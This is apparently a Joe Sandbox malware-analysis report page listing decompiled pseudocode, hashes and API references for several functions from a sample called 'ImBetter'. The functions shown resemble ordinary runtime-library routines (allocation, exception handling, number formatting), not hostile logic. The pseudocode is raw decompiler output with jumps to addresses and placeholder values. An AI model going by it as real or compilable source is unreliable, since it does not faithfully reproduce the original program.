Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$recvsend
String ID:
API String ID: 992680824-0
Opcode ID: 79e0a986a0cf4731c89a18a299efd74792eb364b7cc8f735829f6c425c4a8e05
Instruction ID: fc4fec8fc297611d109ed1ebccd117e8e54dff9e703f67664c1261315bb7f9fd
Opcode Fuzzy Hash: 79e0a986a0cf4731c89a18a299efd74792eb364b7cc8f735829f6c425c4a8e05
Instruction Fuzzy Hash: A861B5A2B2868181EA14BB29D85477FB712EB45BD8FA04132DA5D07ADADF7DD0C08351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B247D0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 366
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E6B247D0(long long* __rcx, void* __rdx, long long __rdi, intOrPtr* __r8, intOrPtr* __r9) {
				long long _v40;
				void* _t12;
				long long* _t39;

				if (__rdx == 0) goto 0xe6b24872;
				_t39 = __rcx;
				if (__rdx - 0xffffffff > 0) goto 0xe6b24879;
				_v40 = __rdi;
				if (__rdx - 0x1000 < 0) goto 0xe6b2482d;
				if (__rdx + 0x27 - __rdx <= 0) goto 0xe6b2487f;
				E00007FF77FF7E6B3CAAC(__rdx + 0x27 - __rdx, 0xffffffff, __rdx + 0x27);
				if (0xffffffff == 0) goto 0xe6b24873;
				 *0x8000000000000018 = 0xffffffff;
				goto 0xe6b24838;
				_t12 = E00007FF77FF7E6B3CAAC(0xffffffff, 0xffffffff, __rdx);
				 *_t39 = 0xffffffff;
				 *((long long*)(_t39 + 8)) = 0xffffffff;
				 *((long long*)(_t39 + 0x10)) = __rdx + 0xffffffff;
				E00007FF77FF7E6B3F010();
				 *((long long*)(_t39 + 8)) =  *__r9 -  *__r8 + 0xffffffff;
				return _t12;
			}

0x7ff7e6b247d3
0x7ff7e6b247f6
0x7ff7e6b247fc
0x7ff7e6b247fe
0x7ff7e6b2480a
0x7ff7e6b24813
0x7ff7e6b24815
0x7ff7e6b2481d
0x7ff7e6b24827
0x7ff7e6b2482b
0x7ff7e6b24830
0x7ff7e6b24838
0x7ff7e6b2483f
0x7ff7e6b24843
0x7ff7e6b24856
0x7ff7e6b24864
0x7ff7e6b24872

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B24873
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B2487F

Strings

], xrefs: 00007FF7E6B24A2A

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: ]
API String ID: 73155330-3352871620
Opcode ID: 49c2758e932cac145c45f7c68774aac6d4ff217603924cddc283e0a34768f29a
Instruction ID: 0f3189231dd13d2f1179dd7ff468ab53b98c5fb1b86cf4f5638eb532a08f5a03
Opcode Fuzzy Hash: 49c2758e932cac145c45f7c68774aac6d4ff217603924cddc283e0a34768f29a
Instruction Fuzzy Hash: 75D11862B286C2C5EB24AA25D84037EB3D2EB45B94FA44533DA9D0BBD9DF7CD4418312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B256C4 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF7E6B256C4(void* __ecx, intOrPtr __edx, long long __rbx, long long __rsi) {
				void* _t36;
				int _t38;
				signed long long _t60;
				long long _t63;
				_Unknown_base(*)()* _t82;
				void* _t86;
				void* _t87;
				void* _t89;
				signed long long _t90;
				struct _EXCEPTION_POINTERS* _t95;

				 *((long long*)(_t89 + 0x10)) = __rbx;
				 *((long long*)(_t89 + 0x18)) = __rsi;
				_t87 = _t89 - 0x4f0;
				_t90 = _t89 - 0x5f0;
				_t60 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t87 + 0x4e0) = _t60 ^ _t90;
				if (__ecx == 0xffffffff) goto 0xe6b25703;
				E00007FF77FF7E6B3D350(_t36);
				r8d = 0x98;
				E00007FF77FF7E6B3EA30();
				r8d = 0x4d0;
				E00007FF77FF7E6B3EA30();
				 *((long long*)(_t90 + 0x48)) = _t90 + 0x70;
				_t63 = _t87 + 0x10;
				 *((long long*)(_t90 + 0x50)) = _t63;
				__imp__RtlCaptureContext();
				r8d = 0;
				__imp__RtlLookupFunctionEntry();
				if (_t63 == 0) goto 0xe6b25796;
				 *(_t90 + 0x38) =  *(_t90 + 0x38) & 0x00000000;
				 *((long long*)(_t90 + 0x30)) = _t90 + 0x58;
				 *((long long*)(_t90 + 0x28)) = _t90 + 0x60;
				 *((long long*)(_t90 + 0x20)) = _t87 + 0x10;
				__imp__RtlVirtualUnwind();
				 *((long long*)(_t87 + 0x108)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x70)) = __edx;
				 *((long long*)(_t87 + 0xa8)) = _t87 + 0x510;
				 *((long long*)(_t87 - 0x80)) =  *((intOrPtr*)(_t87 + 0x508));
				 *((intOrPtr*)(_t90 + 0x74)) = r8d;
				_t38 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t82, _t86);
				if (UnhandledExceptionFilter(_t95) != 0) goto 0xe6b257f8;
				if (_t38 != 0) goto 0xe6b257f8;
				if (__ecx == 0xffffffff) goto 0xe6b257f8;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3D350(_t40), __ecx,  *(_t87 + 0x4e0) ^ _t90);
			}

0x7ff7e6b256c4
0x7ff7e6b256c9
0x7ff7e6b256d2
0x7ff7e6b256da
0x7ff7e6b256e1
0x7ff7e6b256eb
0x7ff7e6b256fc
0x7ff7e6b256fe
0x7ff7e6b2570a
0x7ff7e6b25710
0x7ff7e6b2571b
0x7ff7e6b25721
0x7ff7e6b2572b
0x7ff7e6b25734
0x7ff7e6b25738
0x7ff7e6b2573d
0x7ff7e6b25752
0x7ff7e6b25755
0x7ff7e6b2575e
0x7ff7e6b25760
0x7ff7e6b25773
0x7ff7e6b25780
0x7ff7e6b25789
0x7ff7e6b25790
0x7ff7e6b2579d
0x7ff7e6b257af
0x7ff7e6b257b3
0x7ff7e6b257c1
0x7ff7e6b257c5
0x7ff7e6b257c9
0x7ff7e6b257d3
0x7ff7e6b257e6
0x7ff7e6b257ea
0x7ff7e6b257ef
0x7ff7e6b2581e

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E6B2573D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E6B25755
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E6B25790
IsDebuggerPresent.KERNEL32 ref: 00007FF7E6B257C9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E6B257D3
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E6B257DE

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 15ad3253869d6d9343689e1c73b73e7b9e130ac33a0b82b6cf04905fb8b0a909
Instruction ID: 6d318c8dd81442425ff738ff3ebbd99b269a8aa2b842d95a01493c7b11ab162b
Opcode Fuzzy Hash: 15ad3253869d6d9343689e1c73b73e7b9e130ac33a0b82b6cf04905fb8b0a909
Instruction Fuzzy Hash: BA317E32628B8186DB60DF24EC403AFB3A4FB88754FA40136EA9D43B55EF3CC1558B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B37ED0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 69%

			E00007FF77FF7E6B37ED0(signed int __ecx, signed int __rax, signed int* __rcx, unsigned int __rdx, signed int __r9, void* __r10, long long __r13, signed int _a8, long long _a16, signed int _a24, signed int _a32) {
				long long _v64;
				char _v532;
				intOrPtr _v536;
				signed long long _v552;
				signed int _v560;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				intOrPtr _v584;
				void* __rbx;
				void* __rsi;
				void* _t132;
				signed int _t148;
				intOrPtr _t161;
				signed int _t163;
				intOrPtr _t164;
				signed int _t180;
				signed int _t191;
				signed int _t192;
				signed int _t213;
				void* _t230;
				signed long long _t241;
				signed int _t244;
				void* _t252;
				signed int* _t255;
				intOrPtr* _t262;
				signed long long _t267;
				signed long long _t269;
				signed long long _t271;
				signed long long _t273;
				signed long long _t277;
				signed long long _t279;
				char* _t285;
				signed int _t288;
				signed long long _t289;
				signed long long _t297;
				signed long long _t298;
				void* _t306;
				signed long long _t327;

				_a16 = __rdx;
				r10d =  *__rcx;
				if (r10d == 0) goto 0xe6b38345;
				_t161 =  *__rdx;
				_v584 = _t161;
				if (_t161 == 0) goto 0xe6b38345;
				r10d = r10d - 1;
				if (_t252 - 1 != 0) goto 0xe6b38001;
				r12d =  *(__rdx + 4);
				if (r12d != 1) goto 0xe6b37f46;
				_t255 =  &(__rcx[1]);
				 *__rcx = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF7E6B3959C(__rax, _t252, _t255, __rdx, __rcx,  &_v532, __r9);
				goto 0xe6b38347;
				if (r10d != 0) goto 0xe6b37f81;
				_t163 = _t255[1];
				 *_t255 = 0;
				r9d = 0;
				_v536 = 0;
				E00007FF77FF7E6B3959C(__rax, _t252,  &(_t255[1]), __rdx, __rcx,  &_v532, __r9);
				_t180 = _t163 % r12d;
				__rcx[1] = _t180;
				bpl = _t180 != 0;
				 *__rcx = 0;
				goto 0xe6b38347;
				r15d = 0xffffffff;
				if (r10d == r15d) goto 0xe6b37fc5;
				asm("o16 nop [eax+eax]");
				r10d = r10d + r15d;
				if (r10d != r15d) goto 0xe6b37fa0;
				r9d = 0;
				_v536 = 0;
				_t285 =  &_v532;
				 *__rcx = 0;
				_t132 = E00007FF77FF7E6B3959C(__rax | _t279 << 0x00000020, _t252,  &(__rcx[1]), __rdx, __rcx, _t285, __r9);
				__rcx[1] = r14d;
				__rcx[2] = __ecx;
				bpl = __ecx != 0;
				 *__rcx = 1;
				goto 0xe6b38347;
				if (_t132 - r10d > 0) goto 0xe6b38345;
				r8d = r10d;
				_t269 = r10d;
				r8d = r8d - _t132;
				r9d = r10d;
				_t277 = r8d;
				if (_t269 - _t277 < 0) goto 0xe6b38067;
				_t262 = (__rdx >> 0x20) + 4 + _t269 * 4;
				if ( *((intOrPtr*)(__rdx - _t277 * 4 - __rcx + _t262)) !=  *_t262) goto 0xe6b38050;
				r9d = r9d - 1;
				if (_t269 - 1 - _t277 >= 0) goto 0xe6b38037;
				goto 0xe6b38067;
				_t271 = r9d - r8d;
				_t241 = r9d;
				if ( *((intOrPtr*)(__rdx + 4 + _t271 * 4)) -  *(__rcx + 4 + _t241 * 4) >= 0) goto 0xe6b3806a;
				r8d = r8d + 1;
				_t213 = r8d;
				if (_t213 == 0) goto 0xe6b38345;
				r9d =  *(__rdx + 4 + _t241 * 4);
				r11d =  *(__rdx + 4 + _t241 * 4);
				asm("inc ecx");
				_a24 = r11d;
				if (_t213 == 0) goto 0xe6b380b1;
				r12d = 0x20;
				r12d = r12d - 0x1f;
				_a8 = r12d;
				if (0x1f - _t252 - 2 == 0) goto 0xe6b380fd;
				goto 0xe6b380c0;
				_a8 = 0;
				r12d = 0;
				r9d = r11d >> r12d;
				r11d = r11d << 0x20;
				r9d = r9d | r9d << 0x00000020;
				_a24 = r11d;
				if (_t163 - 2 <= 0) goto 0xe6b380fd;
				r11d = r11d |  *(__rdx + 4 + _t241 * 4) >> r12d;
				_a24 = r11d;
				r14d = _t285 - 1;
				_v560 = _t279;
				if (r14d < 0) goto 0xe6b3830e;
				r15d = 0xffffffff;
				_v64 = __r13;
				r13d = __rdx + _t252;
				_v552 = _t241;
				_v568 = __r9;
				if (r13d - r10d > 0) goto 0xe6b3813d;
				goto 0xe6b3813f;
				_a32 = 0;
				r11d =  *(__rcx + 4 + _t241 * 4);
				_v576 = _t262 - 4;
				_v572 = 0;
				if (0x20 == 0) goto 0xe6b38197;
				r8d = r11d;
				r11d = r11d << 0x20;
				if (r13d - 3 < 0) goto 0xe6b3819c;
				_t148 =  *(__rcx + 4 + (_v576 << 0x20) * 4) >> r12d;
				r11d = r11d | _t148;
				goto 0xe6b3819c;
				_t288 = _v576;
				_t244 = _t288;
				r8d = _t148 % __r9;
				if (_t244 - _t327 <= 0) goto 0xe6b381c8;
				_t297 = _t327;
				_t289 = _t288 + 0x1;
				if (_t289 - _t327 > 0) goto 0xe6b38201;
				_t267 = _t289 << 0x00000020 | _t279;
				if (0x1 - _t267 <= 0) goto 0xe6b381fd;
				_t298 = _t297 - 1;
				if (_t289 + _v568 - _t327 <= 0) goto 0xe6b381e0;
				_t164 = _v584;
				if (_t298 == 0) goto 0xe6b382e0;
				r11d = 0;
				if (_t164 == 0) goto 0xe6b38283;
				r15d = _a8;
				r8d = r10d;
				_t306 =  >=  ? _t279 + 0x1 >> 0x20 : (_t279 + 0x1 >> 0x20) + 1;
				r11d = r11d + 1;
				 *((intOrPtr*)(__rcx + 4 + _t267 * 4)) = __rcx[0xffffffff00000002] - r8d;
				if (r11d - _t164 < 0) goto 0xe6b38230;
				_a8 = r15d;
				r15d = 0xffffffff;
				r12d = _a8;
				if (0x1 - _t306 >= 0) goto 0xe6b382dc;
				r10d = 0;
				if (_t164 == 0) goto 0xe6b382d9;
				asm("o16 nop [eax+eax]");
				r10d = r10d + 1;
				_t273 =  &(__rcx[0xffffffff00000001]);
				 *(_t273 + 4) = r8d;
				_t230 = r10d - _t164;
				if (_t230 < 0) goto 0xe6b382b0;
				r10d = __r13 - 1;
				r13d = r13d - 1;
				r14d = r14d - 1;
				_v560 = (_v560 << 0x20) + 0x1;
				if (_t230 >= 0) goto 0xe6b38131;
				_t191 = _t306 + 1;
				if (_t191 -  *__rcx >= 0) goto 0xe6b3832c;
				 *((intOrPtr*)(__rcx + 4 + ((0x1 + _t244) * _v568 * _t297 - _t271) * _t298 * 4)) = 0;
				if (_t191 + 1 -  *__rcx < 0) goto 0xe6b38320;
				 *__rcx = _t191;
				if (_t191 == 0) goto 0xe6b38340;
				_t192 = _t191 - 1;
				if ( *((intOrPtr*)(__rcx + 4 + _t273 * 4)) != 0) goto 0xe6b38340;
				 *__rcx = _t192;
				if (_t192 != 0) goto 0xe6b38332;
				goto 0xe6b38347;
				return 0;
			}

0x7ff7e6b37ed0
0x7ff7e6b37ee6
0x7ff7e6b37ef2
0x7ff7e6b37ef8
0x7ff7e6b37efa
0x7ff7e6b37f00
0x7ff7e6b37f06
0x7ff7e6b37f0e
0x7ff7e6b37f14
0x7ff7e6b37f1e
0x7ff7e6b37f28
0x7ff7e6b37f2c
0x7ff7e6b37f2e
0x7ff7e6b37f31
0x7ff7e6b37f3a
0x7ff7e6b37f41
0x7ff7e6b37f49
0x7ff7e6b37f4b
0x7ff7e6b37f53
0x7ff7e6b37f55
0x7ff7e6b37f5c
0x7ff7e6b37f65
0x7ff7e6b37f6e
0x7ff7e6b37f73
0x7ff7e6b37f76
0x7ff7e6b37f7a
0x7ff7e6b37f7c
0x7ff7e6b37f81
0x7ff7e6b37f90
0x7ff7e6b37f95
0x7ff7e6b37fab
0x7ff7e6b37fc3
0x7ff7e6b37fc5
0x7ff7e6b37fc8
0x7ff7e6b37fcc
0x7ff7e6b37fd1
0x7ff7e6b37fdc
0x7ff7e6b37fe4
0x7ff7e6b37ff1
0x7ff7e6b37ff4
0x7ff7e6b37ffa
0x7ff7e6b37ffc
0x7ff7e6b38004
0x7ff7e6b3800a
0x7ff7e6b3800d
0x7ff7e6b38010
0x7ff7e6b38013
0x7ff7e6b38016
0x7ff7e6b3801c
0x7ff7e6b38033
0x7ff7e6b3803d
0x7ff7e6b3803f
0x7ff7e6b3804c
0x7ff7e6b3804e
0x7ff7e6b38056
0x7ff7e6b38059
0x7ff7e6b38065
0x7ff7e6b38067
0x7ff7e6b3806a
0x7ff7e6b3806d
0x7ff7e6b38078
0x7ff7e6b38080
0x7ff7e6b38085
0x7ff7e6b38089
0x7ff7e6b38091
0x7ff7e6b38098
0x7ff7e6b380a0
0x7ff7e6b380a3
0x7ff7e6b380ad
0x7ff7e6b380af
0x7ff7e6b380b6
0x7ff7e6b380bd
0x7ff7e6b380cf
0x7ff7e6b380d2
0x7ff7e6b380d5
0x7ff7e6b380d8
0x7ff7e6b380e3
0x7ff7e6b380f2
0x7ff7e6b380f5
0x7ff7e6b380fd
0x7ff7e6b38101
0x7ff7e6b3810c
0x7ff7e6b38115
0x7ff7e6b3811b
0x7ff7e6b38123
0x7ff7e6b38127
0x7ff7e6b3812c
0x7ff7e6b38134
0x7ff7e6b3813b
0x7ff7e6b3813f
0x7ff7e6b38152
0x7ff7e6b38157
0x7ff7e6b3815c
0x7ff7e6b38162
0x7ff7e6b38169
0x7ff7e6b3817c
0x7ff7e6b38183
0x7ff7e6b38190
0x7ff7e6b38192
0x7ff7e6b38195
0x7ff7e6b38197
0x7ff7e6b3819e
0x7ff7e6b381a4
0x7ff7e6b381ad
0x7ff7e6b381bc
0x7ff7e6b381c5
0x7ff7e6b381cb
0x7ff7e6b381e7
0x7ff7e6b381ed
0x7ff7e6b381ef
0x7ff7e6b381fb
0x7ff7e6b381fd
0x7ff7e6b38204
0x7ff7e6b3820d
0x7ff7e6b38212
0x7ff7e6b3821c
0x7ff7e6b38244
0x7ff7e6b3825a
0x7ff7e6b38261
0x7ff7e6b38264
0x7ff7e6b3826b
0x7ff7e6b3826d
0x7ff7e6b38275
0x7ff7e6b3827b
0x7ff7e6b3828d
0x7ff7e6b3828f
0x7ff7e6b38294
0x7ff7e6b382a5
0x7ff7e6b382b4
0x7ff7e6b382bb
0x7ff7e6b382cc
0x7ff7e6b382d4
0x7ff7e6b382d7
0x7ff7e6b382dc
0x7ff7e6b382e5
0x7ff7e6b382f7
0x7ff7e6b382fb
0x7ff7e6b38300
0x7ff7e6b3830e
0x7ff7e6b38316
0x7ff7e6b38324
0x7ff7e6b3832a
0x7ff7e6b3832c
0x7ff7e6b38330
0x7ff7e6b38332
0x7ff7e6b38338
0x7ff7e6b3833a
0x7ff7e6b3833e
0x7ff7e6b38343
0x7ff7e6b38358

APIs

memcpy_s.LIBCPMT ref: 00007FF7E6B37F3A
memcpy_s.LIBCPMT ref: 00007FF7E6B37F65

Strings

, xrefs: 00007FF7E6B38098

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-3916222277
Opcode ID: cde1b8b2f6d1160984fe15dbaba42dea7d5925037cfa26e03551a8a86da9f649
Instruction ID: b8965b22ac4ad1f4ca8f92bbc9316c17b73c10ff8ea2e89543277e5d111ecfd3
Opcode Fuzzy Hash: cde1b8b2f6d1160984fe15dbaba42dea7d5925037cfa26e03551a8a86da9f649
Instruction Fuzzy Hash: EBC10372B6968687E720DF19E448B6EF791F788794F908136DB4A43B44DB7CE805CB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0E8A0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 493
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF7E6B0E8A0(void* __edi, void* __esi, long long __rbx, void* __rcx, long long __rdx, void* __r8, long long __r9) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r13;
				void* __r15;
				signed int _t65;
				void* _t85;
				long long _t86;
				void* _t90;
				signed int _t98;
				void* _t104;
				void* _t105;
				intOrPtr _t107;
				void* _t109;
				signed long long _t127;
				signed long long _t128;
				void* _t133;
				long long _t148;
				intOrPtr _t161;
				char* _t164;
				short* _t165;
				intOrPtr _t168;
				void* _t173;
				void* _t180;
				void* _t182;
				signed long long _t183;
				void* _t199;
				long long _t200;
				void* _t202;
				long long _t203;

				_t105 = __esi;
				_t104 = __edi;
				 *((long long*)(_t182 + 8)) = __rbx;
				_t180 = _t182 - 0x17;
				_t183 = _t182 - 0xb0;
				asm("movaps [esp+0xa0], xmm6");
				_t127 =  *0xe6b6bbc0; // 0x7a937e77a598
				_t128 = _t127 ^ _t183;
				 *(_t180 - 9) = _t128;
				_t200 = __r9;
				_t203 = __rdx;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x39], xmm0");
				 *((long long*)(_t180 - 0x29)) = __rdx;
				r9d = 0xf;
				 *((long long*)(_t180 - 0x21)) = __r9;
				 *((char*)(_t180 - 0x39)) = 0;
				_t65 =  *(__r9 + 0x18) & 0x00003000;
				asm("movsd xmm6, [ebp+0x7f]");
				if (_t65 != 0x3000) goto 0xe6b0e916;
				goto 0xe6b0e98d;
				_t107 =  *((intOrPtr*)(__r9 + 0x20));
				if (_t107 <= 0) goto 0xe6b0e923;
				goto 0xe6b0e937;
				if (_t107 != 0) goto 0xe6b0e932;
				if (_t65 != 0) goto 0xe6b0e92e;
				goto 0xe6b0e98d;
				goto 0xe6b0e937;
				_t109 = _t65 - 0x2000;
				if (_t109 != 0) goto 0xe6b0e98d;
				asm("movaps xmm0, xmm6");
				asm("andps xmm0, [0x52c05]");
				asm("comisd xmm0, [0x52bcd]");
				if (_t109 <= 0) goto 0xe6b0e98d;
				asm("movaps xmm0, xmm6");
				E00007FF77FF7E6B2942C(6, _t180 - 0x19,  *((intOrPtr*)(__r9 + 0x20)));
				asm("cdq");
				_t161 =  *((intOrPtr*)(_t180 - 0x29));
				_t148 = 6 + _t128 + 0x32;
				if (_t148 - _t161 > 0) goto 0xe6b0e9ad;
				_t130 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				 *((long long*)(_t180 - 0x29)) = _t148;
				 *((char*)(( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t148)) = 0;
				goto 0xe6b0e9fe;
				_t173 = _t148 - _t161;
				if (_t173 -  *((intOrPtr*)(_t180 - 0x21)) - _t161 > 0) goto 0xe6b0e9e5;
				 *((long long*)(_t180 - 0x29)) = _t148;
				_t144 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				_t145 = ( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t161;
				E00007FF77FF7E6B3EA30();
				 *((char*)(( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t161 + _t173)) = 0;
				goto 0xe6b0e9fe;
				 *((char*)(_t183 + 0x20)) = 0;
				r8d =  *(_t180 - 0x59) & 0x000000ff;
				E00007FF77FF7E6B03760(_t180 - 0x39, _t173, _t173, _t180, _t173, __r8, _t203, _t202);
				r8d =  *(__r9 + 0x18);
				 *((char*)(_t180 - 0x11)) = 0x25;
				asm("inc ecx");
				_t78 =  <  ? 0x2b :  *(_t180 - 0x10) & 0x000000ff;
				 *(_t180 - 0x10) =  <  ? 0x2b :  *(_t180 - 0x10) & 0x000000ff;
				_t133 = _t180 - 0xf;
				_t164 =  <  ? _t133 : _t180 - 0x10;
				if ((r8b & 0x00000010) == 0) goto 0xe6b0ea32;
				 *_t164 = 0x23;
				_t165 = _t164 + 1;
				 *_t165 = 0x2a2e;
				 *((char*)(_t165 + 2)) = 0x4c;
				_t98 = r8d & 0x00003000;
				if ((r8b & 0x00000004) == 0) goto 0xe6b0ea6d;
				if (_t98 != 0x2000) goto 0xe6b0ea56;
				goto 0xe6b0ea9a;
				if (_t98 != 0x3000) goto 0xe6b0ea62;
				goto 0xe6b0ea9a;
				_t43 = _t133 - 2; // 0x45
				r8d = _t43;
				goto 0xe6b0ea90;
				if (_t98 != 0x2000) goto 0xe6b0ea79;
				goto 0xe6b0ea9a;
				if (_t98 != 0x3000) goto 0xe6b0ea85;
				goto 0xe6b0ea9a;
				r8d = 0x65;
				_t85 =  ==  ? r8d : 0x67;
				 *((char*)(_t165 + 3)) = 0x61;
				 *((char*)(_t165 + 4)) = 0;
				_t152 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				asm("movsd [esp+0x20], xmm6");
				r9d = _t105;
				_t86 = E00007FF77FF7E6B0BA50(_t133,  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39,  *((intOrPtr*)(_t180 - 0x29)), _t180 - 0x11, _t173, _t199);
				_t135 =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				asm("inc ecx");
				asm("movaps [ebp-0x49], xmm0");
				 *((long long*)(_t183 + 0x30)) = _t86;
				 *((long long*)(_t183 + 0x28)) =  >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39;
				 *((char*)(_t183 + 0x20)) =  *(_t180 + 0x77) & 0x000000ff;
				E00007FF77FF7E6B10360(0x2b, _t104, ( >=  ?  *((void*)(_t180 - 0x39)) : _t180 - 0x39) + _t161, _t203, _t180 - 0x49, _t200);
				_t168 =  *((intOrPtr*)(_t180 - 0x21));
				if (_t168 - 0x10 < 0) goto 0xe6b0eb3b;
				if (_t168 + 1 - 0x1000 < 0) goto 0xe6b0eb36;
				if ( *((intOrPtr*)(_t180 - 0x39)) -  *((intOrPtr*)( *((intOrPtr*)(_t180 - 0x39)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0eb6d;
				_t90 = E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(0x2b,  *((intOrPtr*)( *((intOrPtr*)(_t180 - 0x39)) - 8))), _t98,  *(_t180 - 9) ^ _t183);
				asm("movaps xmm6, [esp+0xa0]");
				return _t90;
			}

0x7ff7e6b0e8a0
0x7ff7e6b0e8a0
0x7ff7e6b0e8a0
0x7ff7e6b0e8b0
0x7ff7e6b0e8b5
0x7ff7e6b0e8bc
0x7ff7e6b0e8c4
0x7ff7e6b0e8cb
0x7ff7e6b0e8ce
0x7ff7e6b0e8d2
0x7ff7e6b0e8d8
0x7ff7e6b0e8de
0x7ff7e6b0e8e1
0x7ff7e6b0e8e7
0x7ff7e6b0e8eb
0x7ff7e6b0e8f1
0x7ff7e6b0e8f5
0x7ff7e6b0e8fc
0x7ff7e6b0e901
0x7ff7e6b0e90b
0x7ff7e6b0e914
0x7ff7e6b0e91a
0x7ff7e6b0e91d
0x7ff7e6b0e921
0x7ff7e6b0e923
0x7ff7e6b0e927
0x7ff7e6b0e92c
0x7ff7e6b0e930
0x7ff7e6b0e93a
0x7ff7e6b0e93f
0x7ff7e6b0e941
0x7ff7e6b0e944
0x7ff7e6b0e94b
0x7ff7e6b0e953
0x7ff7e6b0e959
0x7ff7e6b0e95c
0x7ff7e6b0e964
0x7ff7e6b0e989
0x7ff7e6b0e98d
0x7ff7e6b0e994
0x7ff7e6b0e99e
0x7ff7e6b0e9a3
0x7ff7e6b0e9a7
0x7ff7e6b0e9ab
0x7ff7e6b0e9b0
0x7ff7e6b0e9bc
0x7ff7e6b0e9be
0x7ff7e6b0e9ca
0x7ff7e6b0e9cf
0x7ff7e6b0e9da
0x7ff7e6b0e9df
0x7ff7e6b0e9e3
0x7ff7e6b0e9e5
0x7ff7e6b0e9ed
0x7ff7e6b0e9f9
0x7ff7e6b0e9fe
0x7ff7e6b0ea02
0x7ff7e6b0ea06
0x7ff7e6b0ea14
0x7ff7e6b0ea17
0x7ff7e6b0ea1e
0x7ff7e6b0ea22
0x7ff7e6b0ea2a
